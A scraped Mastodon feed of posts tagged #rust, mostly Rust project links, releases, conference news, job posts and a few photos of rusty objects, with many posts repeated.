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1,326 posts tagged with this hashtag.
Warp is now open-source https://lobste.rs/s/ccbjxb #rust
https://www.warp.dev/blog/warp-is-now-open-source
warp.dev
Warp is now open-source. The Warp client is on GitHub and the community can contribute via Oz, Warp’s cloud agent orchestration platform, with OpenAI as founding sponsor.
I Built My Own Hair Electrolysis Machine https://lobste.rs/s/lm0mlt #hardware #rust
https://www.scd31.com/posts/diy-hair-electrolysis-machine
scd31.com
Rust India Conference 2026 - Full Talk Recordings https://lobste.rs/s/layfq8 #video #rust
http://www.youtube.com/playlist?list=PLbcv9d2YUhnbCxJmjB_4RbjUBgq6exSGs
youtube.com
📅 April 18, 2026 | 📍 NIMHANS Convention Centre, Bengaluru, India Rust India Conference 2026 is India's first national Rust conference — a single-track, techn...
jcd - jump change directory cli tool https://lobste.rs/s/oahqui #linux #mac #rust
https://github.com/microsoft/Sysinternals-jcd
github.com
Sysinternals jcd (jump change directory) is a Rust-based command-line tool that provides enhanced directory navigation with substring matching and smart selection. It's like the cd command, but...
I had a great time at Libre Graphics Meeting #lgm2026 last week!
Really enjoyed @catilac’s talk, equal parts hilarious and informative 🙌
Excited for #libprocessing #rust @processing @processingorg @bevy
infosec.exchange
Here is my talk from #lgm2026 https://app.media.ccc.de/v/lgm-2026-110668-expanding-processing-s-future-with-a-rust-rendering-engine
Here is my talk from #lgm2026 https://app.media.ccc.de/v/lgm-2026-110668-expanding-processing-s-future-with-a-rust-rendering-engine
Processing is one of the most influential approaches to creative coding and computer science education. Since its first release in 2001, ...
I had a great time at Libre Graphics Meeting #lgm2026 last week!
Really enjoyed @catilac’s talk, equal parts hilarious and informative 🙌
Excited for #libprocessing #rust @processing @processingorg @bevy
infosec.exchange
Here is my talk from #lgm2026 https://app.media.ccc.de/v/lgm-2026-110668-expanding-processing-s-future-with-a-rust-rendering-engine
Here is my talk from #lgm2026 https://app.media.ccc.de/v/lgm-2026-110668-expanding-processing-s-future-with-a-rust-rendering-engine
Processing is one of the most influential approaches to creative coding and computer science education. Since its first release in 2001, ...
Starting in June, I'll be available for contracting work again! While I prefer Rust work and that is very much my expertise, I have knowledge of plenty of other languages as well.
Whether it is assisting in integrating Rust into your existing workflow, getting CI to be "just right", or designing a new system from the ground up, reach out to me! I have availability and know what I'm doing.
Totally missed opportunity by the #rust community to refer to itself as "Rustaceans" instead of "Cargo Cult".
Totally missed opportunity by the #rust community to refer to itself as "Rustaceans" instead of "Cargo Cult".
Starting in June, I'll be available for contracting work again! While I prefer Rust work and that is very much my expertise, I have knowledge of plenty of other languages as well.
Whether it is assisting in integrating Rust into your existing workflow, getting CI to be "just right", or designing a new system from the ground up, reach out to me! I have availability and know what I'm doing.
How I Broke the Anti-Bot Behind Nike, Kick, and Twitch https://lobste.rs/s/jpohft #javascript #reversing #rust
https://emro.cat/blog/how-i-broke-the-anti-bot-behind-nike-kick-and-twitch/
emro.cat
A full breakdown of reverse engineering a commercial anti-bot system, from VM disassembly to payload generation.
Using Rust to Build a $1 Handheld Gaming Console https://lobste.rs/s/jl0d5b #rust
https://chrisdell.info/using-rust-to-build-a-1-dollar-handheld-gaming-console/
chrisdell.info
Demo video of the console in action The CH32V003 is an interesting little chip - not just because it’s based on the up-and-coming RISC-V architecture, or because it comes in a tiny package, but mostly because you can buy it for $0.09 in bulk. Hard to believe this
How Rust Compiles (2025) https://lobste.rs/s/wtgh6b #video #compilers #rust
https://www.youtube.com/watch?v=G1g6Me1FHmE
youtube.com
*How Rust Compiles - Noratrieb at EuroRust 2025 🦀*Whenever you run cargo build, you get a native executable. To see how rustc gets there, we’ll break down t...
Niri v26.04 https://lobste.rs/s/uf38bg #linux #release #rust
https://github.com/niri-wm/niri/releases/tag/v26.04
Niri is a scrollable-tiling Wayland compositor. Windows are arranged in columns on an infinite strip going to the right. Opening a new window never causes existing windows to resize. As you may hav...
Discord is hiring Senior Software Engineer - Web Platform
🔧 #golang #javascript #kotlin #python #rust #swift #typescript #react #reactnative #node #cicd #seniorengineer
🌎 San Francisco, Bay Area
⏰ Full-time
🏢 Discord
Job details https://jobsfordevelopers.com/jobs/senior-software-engineer-web-platform-at-discord-com-feb-4-2026-f1df4b?utm_source=mastodon.world&utm_medium=social&utm_campaign=posting
#jobalert #jobsearch #hiring
jobsfordevelopers.com
Discord is hiring Senior Software Engineer - Web Platform
After five months of (on and off) development, I'm glad to announce niri v26.04! It comes packed with features:
- window blur, of course, in all its variations
- mouse cursor in window screencasts
- screencast IPC
- optional includes
- IME users can finally rename files in nautilus
- Eee PC users can finally take screenshots
Enjoy the release notes: https://github.com/niri-wm/niri/releases/tag/v26.04
Screenshot showing blurred background behind a DankMaterialShell pop-out, Alacritty, and Nautilus sidebar.
After five months of (on and off) development, I'm glad to announce niri v26.04! It comes packed with features:
- window blur, of course, in all its variations
- mouse cursor in window screencasts
- screencast IPC
- optional includes
- IME users can finally rename files in nautilus
- Eee PC users can finally take screenshots
Enjoy the release notes: https://github.com/niri-wm/niri/releases/tag/v26.04
Screenshot showing blurred background behind a DankMaterialShell pop-out, Alacritty, and Nautilus sidebar.
Discord is hiring Senior Software Engineer - Web Platform
🔧 #golang #javascript #kotlin #python #rust #swift #typescript #react #reactnative #node #cicd #seniorengineer
🌎 San Francisco, Bay Area
⏰ Full-time
🏢 Discord
Job details https://jobsfordevelopers.com/jobs/senior-software-engineer-web-platform-at-discord-com-feb-4-2026-f1df4b?utm_source=mastodon.world&utm_medium=social&utm_campaign=posting
#jobalert #jobsearch #hiring
jobsfordevelopers.com
Discord is hiring Senior Software Engineer - Web Platform
Turning Git commits into changelog with Git-Cliff - YouTube https://lobste.rs/s/7va7at #video #rust #vcs
https://www.youtube.com/watch?v=RWh8qbiLRts
youtube.com
🔔 FOLLOW RUSTLAB CHANNEL 🔔ABSTRACT:Are you tired of updating the changelog file for each release of your project? Introducing git-cliff, the command-line ...
Rust 1.95 released last week (https://blog.rust-lang.org/2026/04/16/Rust-1.95.0/) and has a few cool things in it. `if let` guards might look niche, but I think they solve the last reason for having nested match expressions where it doesn't feel 'right'. Not a huge deal, but nice to scratch away that itch.
`cold_path` is stable. This is a performance hint intrinsic to indicate that a code path (e.g., a branch of an `if` expression) is unlikely to be taken. These kind of hints used to be really important for performance work, but with advances in compilers and CPUs, that's not as true any more (`select_unpredictable` is the only hint which is likely to be useful in most code). Still, it's a cool thing to have around just in case you need it.
The new ranges (https://doc.rust-lang.org/stable/core/range/index.html) weren't really announced but are interesting. It's a change in the types for representing ranges like `0..10`, nothing changes now, but at the next edition things will switch over. The new versions implement `Copy` (yay) and `IntoIterator` rather than `Iterator`. This is one of the more well-known paper cuts in Rust and it's great that there is the energy to fix it!
`push_mut` and `insert_mut`, etc., allow for chaining pushing/inserting to collections like `Vec`, which is another nice little syntactic improvement (apparently it helps with a borrowing issue too?).
doc.rust-lang.org
Experimental replacement range types
Andy Balaam makes videos about programming and software development, especially Rust but also other languages. You can follow at:
➡️ @andybalaam@video.infosec.exchange
There are already over 400 videos uploaded. If these haven't federated to your server yet, you can browse them all at https://video.infosec.exchange/a/andybalaam/videos
You can also follow Andy's Mastodon account at @andybalaam@mastodon.social
#FeaturedPeerTube #Programming #Coding #SoftwareDevelopment #Rust #RustLang #Dev #PeerTube
video.infosec.exchange
Rust, Scheme Lisp, Raspberry Pi, Android, Python, C++, JavaScript, Git, even Java. So long as it's programming, I'm happy.
Andy Balaam makes videos about programming and software development, especially Rust but also other languages. You can follow at:
➡️ @andybalaam@video.infosec.exchange
There are already over 400 videos uploaded. If these haven't federated to your server yet, you can browse them all at https://video.infosec.exchange/a/andybalaam/videos
You can also follow Andy's Mastodon account at @andybalaam@mastodon.social
#FeaturedPeerTube #Programming #Coding #SoftwareDevelopment #Rust #RustLang #Dev #PeerTube
video.infosec.exchange
Rust, Scheme Lisp, Raspberry Pi, Android, Python, C++, JavaScript, Git, even Java. So long as it's programming, I'm happy.
Andy Balaam makes videos about programming and software development, especially Rust but also other languages. You can follow at:
➡️ @andybalaam@video.infosec.exchange
There are already over 400 videos uploaded. If these haven't federated to your server yet, you can browse them all at https://video.infosec.exchange/a/andybalaam/videos
You can also follow Andy's Mastodon account at @andybalaam@mastodon.social
#FeaturedPeerTube #Programming #Coding #SoftwareDevelopment #Rust #RustLang #Dev #PeerTube
video.infosec.exchange
Rust, Scheme Lisp, Raspberry Pi, Android, Python, C++, JavaScript, Git, even Java. So long as it's programming, I'm happy.
Pure Borrow: Linear Haskell Meets Rust-Style Borrowing https://lobste.rs/s/esidgp #haskell #plt #rust
https://discourse.haskell.org/t/pure-borrow-linear-haskell-meets-rust-style-borrowing/13975
discourse.haskell.org
TL;DR You can now use Rust-style mutable and shared borrows in Linear Haskell, within ST-like linear monad, BO, with pure, type-safe, and leak-freedom support of mutation and concurrency! It comes with flexible feature of multiple aliasing of shared borrows, delimiting lifetime regions, etc! We are really pleased to announce the acceptance of our work, Pure Borrow, at PLDI 2026 🎉 Paper (Extended Version): [2604.15290] Pure Borrow: Linear Haskell Meets Rust-Style Borrowing Implementation:...
My favorite SSG, marmite (which powers my blog) now depends on 99% less external JavaScript!
Big shout to @fasterthanlime for the fantastic arborium crate, which we’re using now in Marmite for build-time syntax highlighting. Faster loads, no flicker, and less JS ftw 🚀
marmite.blog
Marmite 0.3.0 brings build-time syntax highlighting with Arborium, enhanced search with inline match...
My favorite SSG, marmite (which powers my blog) now depends on 99% less external JavaScript!
Big shout to @fasterthanlime for the fantastic arborium crate, which we’re using now in Marmite for build-time syntax highlighting. Faster loads, no flicker, and less JS ftw 🚀
marmite.blog
Marmite 0.3.0 brings build-time syntax highlighting with Arborium, enhanced search with inline match...
Just released Kotoba, a fast, fully offline Japanese–English dictionary, on Flathub.
Features: Flexible search (kanji, kana, rōmaji, or English), near instant results, detailed entries (readings, meanings, example sentences, usage notes), smart conjugation handling (maps inflected verbs/adjectives to base forms), and bookmarks.
Get it on Flathub: https://flathub.org/apps/net.trowell.kotoba
Running Bare-Metal Rust Alongside ESP-IDF on the ESP32-S3's Second Core https://lobste.rs/s/wyvcvr #hardware #rust
https://tingouw.com/blog/embedded/esp32/run_rust_on_app_core
tingouw.com
Tingou Wu's Personal Website
113 issues found within rust-coreutils https://lobste.rs/s/9p8j3s #rust #security
https://discourse.ubuntu.com/t/an-update-on-rust-coreutils/80773
discourse.ubuntu.com
This is a follow-up to Jon’s original post on Carefully (but purposefully) oxidising Ubuntu and Julian’s migration spec for 25.10. We promised transparency throughout this process, and this post is written in that spirit. What happened after the announcement Following the decision to adopt rust-coreutils, we got to work. Any package shipped by default in Ubuntu must be promoted to Ubuntu Main, which requires passing a thorough security review. We quickly assembled an internal team spanning Ubun...
Pure Borrow: Linear #Haskell Meets #Rust-Style Borrowing
https://discourse.haskell.org/t/pure-borrow-linear-haskell-meets-rust-style-borrowing/13975
discourse.haskell.org
TL;DR You can now use Rust-style mutable and shared borrows in Linear Haskell, within ST-like linear monad, BO, with pure, type-safe, and leak-freedom support of mutation and concurrency! It comes with flexible feature of multiple aliasing of shared borrows, delimiting lifetime regions, etc! We are really pleased to announce the acceptance of our work, Pure Borrow, at PLDI 2026 🎉 Paper (Extended Version): [2604.15290] Pure Borrow: Linear Haskell Meets Rust-Style Borrowing Implementation:...
An overview of NVMe and its support on Maestro https://lobste.rs/s/u16jsm #osdev #rust
https://blog.lenot.re/a/nvme
blog.lenot.re
An overview of NVMe and its support on Maestro
Who even uses jemalloc in 2026 anyway? (many major projects) https://lobste.rs/s/vr4rsc #c #c++ #performance #rust
https://theconsensus.dev/p/2026/04/16/who-even-uses-jemalloc-anyway.html
theconsensus.dev
The Edge of Safe Rust https://lobste.rs/s/hkwyrc #plt #rust
https://kyju.org/blog/tokioconf-2026/
kyju.org
The first Rust India Conference!!
#rust
Rust India Conference 2026 group photo
[$] Using LLMs to find Python C-extension bugs
The open-source world is currently awash in reports of LLM-discovered bugs and vulnerabilities, which makes for a lot more work for maintainers, but many of the current crop are be [...]
The first Rust India Conference!!
#rust
Rust India Conference 2026 group photo
[$] Using LLMs to find Python C-extension bugs
The open-source world is currently awash in reports of LLM-discovered bugs and vulnerabilities, which makes for a lot more work for maintainers, but many of the current crop are be [...]
SPAM - A Software PAckage Manager utility https://lobste.rs/s/wts8yp #python #rust #unix
https://codeberg.org/aol/spam
codeberg.org
A Software PAckage Manager utility
High-performance 2D graphics rendering on the CPU using sparse strips https://lobste.rs/s/0wq9ns #pdf #graphics #performance #rust
https://ethz.ch/content/dam/ethz/special-interest/infk/inst-pls/plf-dam/documents/StudentProjects/MasterTheses/2025-Laurenz-Thesis.pdf
Welp, I wrote my first #CGI program in #Rust.
Didn't end up using any libraries specific to #webdev for this. The bare CGI protocol is pretty simple and requires very little parsing (unlike, for example, #HTTP reverse proxying) because most everything is already parsed into environment variables.
And this is Rust, so it's faster than the average CGI program. Running it doesn't involve a compilation step, like it would with a traditional CGI script written in Perl.
The square image is rendered in shades of rust brown and olive green. It shows a section of a construction site with weathered materials: two shipping containers whose green paint has partially peeled away, revealing patches of white and rust brown; behind them, a green house wall; to the left of that, a ladder lying horizontally; and at the very bottom of the image, rusted metal struts. On one of the containers, “.33333333” is visible in white.
The square image is rendered in shades of rust brown and olive green. It shows a section of a construction site with weathered materials: two shipping containers whose green paint has partially peeled away, revealing patches of white and rust brown; behind them, a green house wall; to the left of that, a ladder lying horizontally; and at the very bottom of the image, rusted metal struts. On one of the containers, “.33333333” is visible in white.
How (and why) we rewrote our production C++ frontend infrastructure in Rust https://lobste.rs/s/jzgjbm #c++ #rust #web
https://blog.nearlyfreespeech.net/2026/04/17/how-and-why-we-rewrote-our-production-c-frontend-infrastructure-in-rust/
blog.nearlyfreespeech.net
Some overdue updates from us 😅
- We have a website now, thanks to @seungjin! https://seoul.rs/
- We’ve started uploading our recorded talks from the past few months. Check out our YouTube and subscribe ;)
- To help us get the talk videos out in a timely manner, @ianthetechie (the one responsible for the delays to begin with 🙃) wrote up a rendering pipeline using a lot of Rust tooling. It’s open source here: https://github.com/seoul-rs/video-pipeline
github.com
Video processing pipeline for our recorded talks. Contribute to seoul-rs/video-pipeline development by creating an account on GitHub.
Some overdue updates from us 😅
- We have a website now, thanks to @seungjin! https://seoul.rs/
- We’ve started uploading our recorded talks from the past few months. Check out our YouTube and subscribe ;)
- To help us get the talk videos out in a timely manner, @ianthetechie (the one responsible for the delays to begin with 🙃) wrote up a rendering pipeline using a lot of Rust tooling. It’s open source here: https://github.com/seoul-rs/video-pipeline
github.com
Video processing pipeline for our recorded talks. Contribute to seoul-rs/video-pipeline development by creating an account on GitHub.
Building ezli.me, a link shortener in Rust https://lobste.rs/s/tyxxnd #api #release #rust
https://rustunit.com/blog/2026/04-17-ezlime-link-shortener-in-rust/
rustunit.com
Rustunit offers software development consulting with a focus on rust, game-development and large scale distributed backend services.
An early look at tailscale-rs, a tsnet library in Rust https://lobste.rs/s/vbid4k #networking #rust
https://tailscale.com/blog/tailscale-rs-rust-tsnet-library-preview
tailscale.com
We've launched an experimental Rust library for Tailscale via tsnet. Help test tailscale-rs and shape it with your feedback.
One day away from Rust India Conference 2026!!!
https://rustindia.org/
Check out the schedule.
https://hasgeek.com/rustbangalore/rust-india-conference-2026/schedule
#rust #rustlang
hasgeek.com
Rust India Conference 2026
One day away from Rust India Conference 2026!!!
https://rustindia.org/
Check out the schedule.
https://hasgeek.com/rustbangalore/rust-india-conference-2026/schedule
#rust #rustlang
hasgeek.com
Rust India Conference 2026
A time travel debugger for WebAssembly https://lobste.rs/s/ouzdjl #rust #wasm
https://github.com/friendlymatthew/gabagool/tree/main/gabagool-debug-adapter#gabagool-debug-adapter
github.com
Snapshotable WebAssembly interpreter from scratch. Includes a time travel debugger - friendlymatthew/gabagool
Switching higher-order streams to first-order streams https://lobste.rs/s/gsxwzt #programming #rust
https://mnt.io/articles/switching-higher-order-streams-to-first-order-streams/
mnt.io
I discuss streams. It's a pretext to learn about higher-order streams, like `flatten` and to introduce a new stream: `switch`! It's very useful, and will have no secret for you.
Zero-Copy Pages in Rust: Or How I Learned To Stop Worrying And Love Lifetimes https://lobste.rs/s/57picr #databases #linux #rust
https://redixhumayun.github.io/databases/2026/04/14/zero-copy-pages-in-rust.html
redixhumayun.github.io
You can find the source code for the project here
🎉 Introducing gst-pop 0.4.3 !
A new all-in-one #GStreamer tool by @igalia, written in #Rust — unifying gst-launch, gst-inspect, gst-play & gst-discoverer into a single daemon with remote control via WebSocket/D-Bus.
Multiple pipelines, API key auth, cross-platform (Linux/macOS/Windows).
👉 https://blogs.igalia.com/scerveau/introducing-gstprinceofparser-0-4-3/
blogs.igalia.com
Introducing gst-pop, the GStreamer Prince of Parser — a tool to make interaction with GStreamer easier, global, and remotely accessible.
🎉 Introducing gst-pop 0.4.3 !
A new all-in-one #GStreamer tool by @igalia, written in #Rust — unifying gst-launch, gst-inspect, gst-play & gst-discoverer into a single daemon with remote control via WebSocket/D-Bus.
Multiple pipelines, API key auth, cross-platform (Linux/macOS/Windows).
👉 https://blogs.igalia.com/scerveau/introducing-gstprinceofparser-0-4-3/
blogs.igalia.com
Introducing gst-pop, the GStreamer Prince of Parser — a tool to make interaction with GStreamer easier, global, and remotely accessible.
@brownhamer @yezanek #rustlang is also useful (#rust is a mixture of posts about the programming language and photos of rusty metal objects 😄)
@yezanek did you already know you can follow hastags on Mastodon? For instance I follow #introduction #rust and #guitar
Linux 7.0 released – more than just a version number jump
The new Linux kernel 7.0 brings self-healing file systems, ensures more robust code, and welcomes Rust as a non-experimental feature.
#IT #Linux #OpenSource #Programmierung #Rust #Security #Softwareentwicklung #news
heise.de
The new Linux kernel 7.0 brings self-healing file systems, ensures more robust code, and welcomes Rust as a non-experimental feature.
Linux 7.0 released – more than just a version number jump
The new Linux kernel 7.0 brings self-healing file systems, ensures more robust code, and welcomes Rust as a non-experimental feature.
#IT #Linux #OpenSource #Programmierung #Rust #Security #Softwareentwicklung #news
heise.de
The new Linux kernel 7.0 brings self-healing file systems, ensures more robust code, and welcomes Rust as a non-experimental feature.
Linux 7.0 erschienen – mehr als ein Nummernsprung
Der neue Linux-Kernel 7.0 bringt selbstheilende Dateisysteme, sorgt für robusteren Code und heißt Rust als nicht-experimentelles Feature willkommen.
#IT #Linux #OpenSource #Programmierung #Rust #Security #Softwareentwicklung #news
heise.de
Der neue Linux-Kernel 7.0 bringt selbstheilende Dateisysteme, sorgt für robusteren Code und heißt Rust als nicht-experimentelles Feature willkommen.
Linux 7.0 erschienen – mehr als ein Nummernsprung
Der neue Linux-Kernel 7.0 bringt selbstheilende Dateisysteme, sorgt für robusteren Code und heißt Rust als nicht-experimentelles Feature willkommen.
#IT #Linux #OpenSource #Programmierung #Rust #Security #Softwareentwicklung #news
heise.de
Der neue Linux-Kernel 7.0 bringt selbstheilende Dateisysteme, sorgt für robusteren Code und heißt Rust als nicht-experimentelles Feature willkommen.
Debloat your async Rust via @fanf https://lobste.rs/s/9muqc5 #rust
https://tweedegolf.nl/en/blog/235/debloat-your-async-rust
tweedegolf.nl
Async Rust is amazing, but far from flawless. In this blog, I'll walk you through the current struggles and possible solutions.
Running release.gnome.org locally has been significantly upgraded. Another post @zeenix will be happy about.
blog.jimmac.eu
After successfully moving this blog to Zola, doubts got suppressed and I found my favorite SSG.
Running release.gnome.org locally has been significantly upgraded. Another post @zeenix will be happy about.
blog.jimmac.eu
After successfully moving this blog to Zola, doubts got suppressed and I found my favorite SSG.
@delta @pixelschubsi @adbenitez
I absolutely agree, that "a cross-platform mass-user focused app with a consistent UX across the platforms" is missing desperately in the #Jabber/#XMPP ecosystem.
There are really good clients for Jabber, but none of them fits above description.
AFAIK, both #Snikket/#Borogove by @snikket_im and #Fluux by @ProcessOne try to close that gap.
Still, I prefer the approach of Delta building on #Rust and #Tauri, instead of #Haxe or #Typescript. #YKINMKBYKIOK.
New Blogpost I wrote in the week about my search for a new "Forever Language"
codedawa.dev
New Blogpost I wrote in the week about my search for a new "Forever Language"
codedawa.dev
@aoristdual yeah .. on the flip side, the documentation is really good in general and the compiler gives very good hints and error messages (in general).
I don't think I would have succeeded at any #Rust (or #Haskell) learning without IDE support -- these languages are what made me make LSP work correctly, finally :)
I'm not sure HOW many times I've been bitten by the #Rust thing where you have to remember to "use some::trait::Foo" in order for certain things to work.
(Yes, the compiler helps a lot, but the answer to the above is "a lot").
I'm not sure HOW many times I've been bitten by the #Rust thing where you have to remember to "use some::trait::Foo" in order for certain things to work.
(Yes, the compiler helps a lot, but the answer to the above is "a lot").
[arch-dev-public] Update on Valve sponsored work in Q1 2026 - https://lists.archlinux.org/archives/list/arch-dev-public@lists.archlinux.org/thread/AXEAYKUI5AJVYOIUPWO6N2NZXI77X4EB/
lists.archlinux.org
attention anybody with substantial experience with Rust and networking: my team is hiring!!
one of few rust jobs I'm aware of that is not web 3.0 horseplop.
fully remote (US timezones), good culture, good trans-inclusive healthcare, good work/life balance, and a nice defensive cybersecurity mission i can get behind.
feel free to reach out for more details and the job posting.
attention anybody with substantial experience with Rust and networking: my team is hiring!!
one of few rust jobs I'm aware of that is not web 3.0 horseplop.
fully remote (US timezones), good culture, good trans-inclusive healthcare, good work/life balance, and a nice defensive cybersecurity mission i can get behind.
feel free to reach out for more details and the job posting.
Is it spring yet? #Iceland #photography #streetphotography #nature #landscape #naturephotography #landscapephotography #abandoned #decay #sea #snow #rust
A rusty abandoned house surrounded by snow with the sea in the background.
Is it spring yet? #Iceland #photography #streetphotography #nature #landscape #naturephotography #landscapephotography #abandoned #decay #sea #snow #rust
A rusty abandoned house surrounded by snow with the sea in the background.
attention anybody with substantial experience with Rust and networking: my team is hiring!!
one of few rust jobs I'm aware of that is not web 3.0 horseplop.
fully remote (US timezones), good culture, good trans-inclusive healthcare, good work/life balance, and a nice defensive cybersecurity mission i can get behind.
feel free to reach out for more details and the job posting.
attention anybody with substantial experience with Rust and networking: my team is hiring!!
one of few rust jobs I'm aware of that is not web 3.0 horseplop.
fully remote (US timezones), good culture, good trans-inclusive healthcare, good work/life balance, and a nice defensive cybersecurity mission i can get behind.
feel free to reach out for more details and the job posting.
attention anybody with substantial experience with Rust and networking: my team is hiring!!
one of few rust jobs I'm aware of that is not web 3.0 horseplop.
fully remote (US timezones), good culture, good trans-inclusive healthcare, good work/life balance, and a nice defensive cybersecurity mission i can get behind.
feel free to reach out for more details and the job posting.
attention anybody with substantial experience with Rust and networking: my team is hiring!!
one of few rust jobs I'm aware of that is not web 3.0 horseplop.
fully remote (US timezones), good culture, good trans-inclusive healthcare, good work/life balance, and a nice defensive cybersecurity mission i can get behind.
feel free to reach out for more details and the job posting.
If you were waiting for some libraries to support UnifiedPush on your Linux app: you now have Rust crates, and GObject introspection bindings, tested with C and Python!
🔔 🦀 🐍
codeberg.org
Rust crate for UnifiedPush
If you were waiting for some libraries to support UnifiedPush on your Linux app: you now have Rust crates, and GObject introspection bindings, tested with C and Python!
🔔 🦀 🐍
codeberg.org
Rust crate for UnifiedPush
Reckless, a Rust-written chess engine is currently battling Stockfish in the TCEC superfinal. This means that Reckless, the only Rust-based chess engine to reach this level, has beaten every other opponent thus far.
tcec-chess.com
Reckless, a Rust-written chess engine is currently battling Stockfish in the TCEC superfinal. This means that Reckless, the only Rust-based chess engine to reach this level, has beaten every other opponent thus far.
tcec-chess.com
Reckless, a Rust-written chess engine is currently battling Stockfish in the TCEC superfinal. This means that Reckless, the only Rust-based chess engine to reach this level, has beaten every other opponent thus far.
tcec-chess.com
I'm learning #Rust now and am surprised that my #Perl experience is perhaps more valuable than JavaScript / TypeScript experience to understand some of the concepts. Why:
- Perl has more explicit reference handling
- Perl has Moose::Roles which have some similarities in Rust traits. I haven't run into a similar pattern as much in JavaScript / TypeScript.
For my #Rust projects, I’ve finally migrated from #RustRover to @zed.
RR is a great IDE, but it feels much too bloated for me. #Zed, on the other hand, is a pleasure to use. So smooth!
Here’s my current config including a beautiful theme based on monokai-pro https://github.com/0xdea/dotfiles/tree/main/zed/.config/zed
My theme for the Zed editor
hello world! I'm a #queer programmer living the #cyberpunk life in berlin.
I spend my time with #linux, #math and #rust, which often leaks into #elitedangerous and #satisfactory.
when I'm not at the keyboard, I'm reading, playing #dnd or watching #startrek.
most of my soundtrack is #metal, except when it's #eurovision.
#trans rights are human rights. if you have a problem with this, just fuck off please.
and society still is all about class struggle. #workersunite!
that's my #introduction
#Rust crates that vendor C code and build it in their build.rs should *not* make them the default. Instead they should attempt to use the system one and bail if that fails, with an error asking people to enable a feature flag to use the vendored dependency. "It just works" invisibly means that people can be unaware that they are including vendored code or that their platform's system packages aren't properly set up.
#RustLang
Sooo, my company have opened up for volunteer redundancies, if anyone needs or is hiring for a senior dotnet/python/rust dev who's entire personality is "I like making cool things work", I'm open
Some of my highlight include
- I wrote the entire train driver licencing management system for all of Great Britain, on my own, in a few weeks, with a completely unfamiliar stack
- Successfully defended the aforementioned project directly to the cabinet office when they blocked it and allowed it to continue to be deployed
- Once built a 64 bit computer in vanilla Java Minecraft (no command blocks)
- Worked on nuclear, medical, and autonomous driving systems, cannot talk about this too much, but this does mean I can absolutely talk your ear off about the importance of strict vigilance in software engineering
Sooo, my company have opened up for volunteer redundancies, if anyone needs or is hiring for a senior dotnet/python/rust dev who's entire personality is "I like making cool things work", I'm open
Some of my highlight include
- I wrote the entire train driver licencing management system for all of Great Britain, on my own, in a few weeks, with a completely unfamiliar stack
- Successfully defended the aforementioned project directly to the cabinet office when they blocked it and allowed it to continue to be deployed
- Once built a 64 bit computer in vanilla Java Minecraft (no command blocks)
- Worked on nuclear, medical, and autonomous driving systems, cannot talk about this too much, but this does mean I can absolutely talk your ear off about the importance of strict vigilance in software engineering
When I look for resources about #rust lifetimes:
The "draw the rest of the fucking owl meme". Top text: "How to draw an owl". Image 1: two hand-drawn circly shapes, labeled "draw some circles". Image 2: a highly detailed drawing of an owl, labeled "draw the rest of the fucking owl".
New #rust achievement!
I've never seen this error before! 😆
I can't get over the fact that #Rust invented `Option` to avoid NULL pointers, and then added `unwrap` to it, undoing the whole thing.
Anthropic open sourced buffa 🦀
Rust implementation of protobuf with editions support, JSON serialization, and zero-copy views
As of this morning, I have been let go from my current position. 3 years of experience with #Typescript / #ReactJS & #Golang , effectively a lot more with #Rust due to all the hobby projects. Looking for something with any of those, pretty good at learning on-the-job too, either Remote, in NYC, or on United States' east coast. Resume available upon request.
As of this morning, I have been let go from my current position. 3 years of experience with #Typescript / #ReactJS & #Golang , effectively a lot more with #Rust due to all the hobby projects. Looking for something with any of those, pretty good at learning on-the-job too, either Remote, in NYC, or on United States' east coast. Resume available upon request.
I'm thrilled to announce that the next target of #Ubuntu's oxidization plan will be ntpd-rs!
We will be funding the @trifectatech to build new features, enhance security isolation, and ultimately deliver a unified, memory-safe time synchronization utility for the Linux ecosystem for NTP, NTS and PTP.
Read the details on our Discourse! https://discourse.ubuntu.com/t/ntpd-rs-its-about-time/79154
discourse.ubuntu.com
I am thrilled to announce the next target in our campaign to replace core system utilities with memory-safe Rust rewrites in Ubuntu. In upcoming releases, Ubuntu will be adopting ntpd-rs as the default time synchronization client and server, eventually replacing chrony, linuxptp and with any luck, gpsd for time syncing use-cases. ntpd-rs is a full-featured implementation of the Network Time Protocol (NTP), written entirely in Rust. Maintained by the Trifecta Tech Foundation as part of Project P...
Two more sleeps until the first #BFPG Hack Day of 2026! See yas there, curious minds!
#FP #Haskell #OCaml #Idris #Gleam #Lean #Scala #Erlang #Elixir #FSharp #Clojure #Lisp #Agda #Rocq #Rust #Scheme #Racket
functional.cafe
Functional programmers and #FP curious people in Brisbane: don't miss #BFPG Hack Day this Saturday 28 March at UQ: https://luma.com/uu28az9h
Functional programmers and #FP curious people in Brisbane: don't miss #BFPG Hack Day this Saturday 28 March at UQ: https://luma.com/uu28az9h
luma.com
Come to BFPG Hack Day for some wholesome fun hacking on side projects, tackling tutorials, grinding axes and shaving yaks! Work together or independently.…
I contributed a new video sink plugin to gst-plugins-rs this weekend, that allows you to play videos in your terminal. It makes use of the `viuer` crate to achieve this:
https://gitlab.freedesktop.org/gstreamer/gst-plugins-rs/-/merge_requests/2973
Screenshot of a terminal displaying video output from a GStreamer pipeline rendered directly in the terminal. The frame shows a view from inside a small helicopter cockpit in flight, with the instrument panel in the center. The pilot, seated on the right, is wearing a headset and holding a clipboard. Through the curved windshield, a hazy aerial landscape of fields, roads, and buildings is visible below. Pipeline debug messages appear as text at the bottom of the terminal.
I remember recently seeing a #JavaScript runtime project written in #Rust that's based on the Boa engine. Does anyone know what it's called? I've tried searching for it, but I can't seem to find it.
boajs.dev
I remember recently seeing a #JavaScript runtime project written in #Rust that's based on the Boa engine. Does anyone know what it's called? I've tried searching for it, but I can't seem to find it.
boajs.dev
I'd love to change my profession to #Rust developer, so if you know someone who needs such a developer, please ping me. I have to admit, with development of https://maolan.github.io I realized that Rust is something I'm actually good at.
maolan.github.io
A modern Rust-based DAW for recording, MIDI editing, automation, and music production. Open source, transparent, and community-driven.
A new Rust language design post from boxy (my ???): https://www.boxyuwu.blog/posts/an-incoherent-rust/
This is a complex topic, and as the post itself says, it is a bit "lacking in smallness". 100% worth digging into though if you're interested in #rust or the theory of programming language design.
TL;DR: coherence (which is responsible for the orphan rule about trait impls) causes problems with ecosystem lock-in. If we introduce the idea of named trait impls we might be able to do away with it!
boxyuwu.blog
Coherence and the orphan rules are a frequent source of complaints about Rust, and a common topic of language proposals. This post covers most of the existing proposals around coherence and my vision for how we should solve coherence once and for all.
A new Rust language design post from boxy (my ???): https://www.boxyuwu.blog/posts/an-incoherent-rust/
This is a complex topic, and as the post itself says, it is a bit "lacking in smallness". 100% worth digging into though if you're interested in #rust or the theory of programming language design.
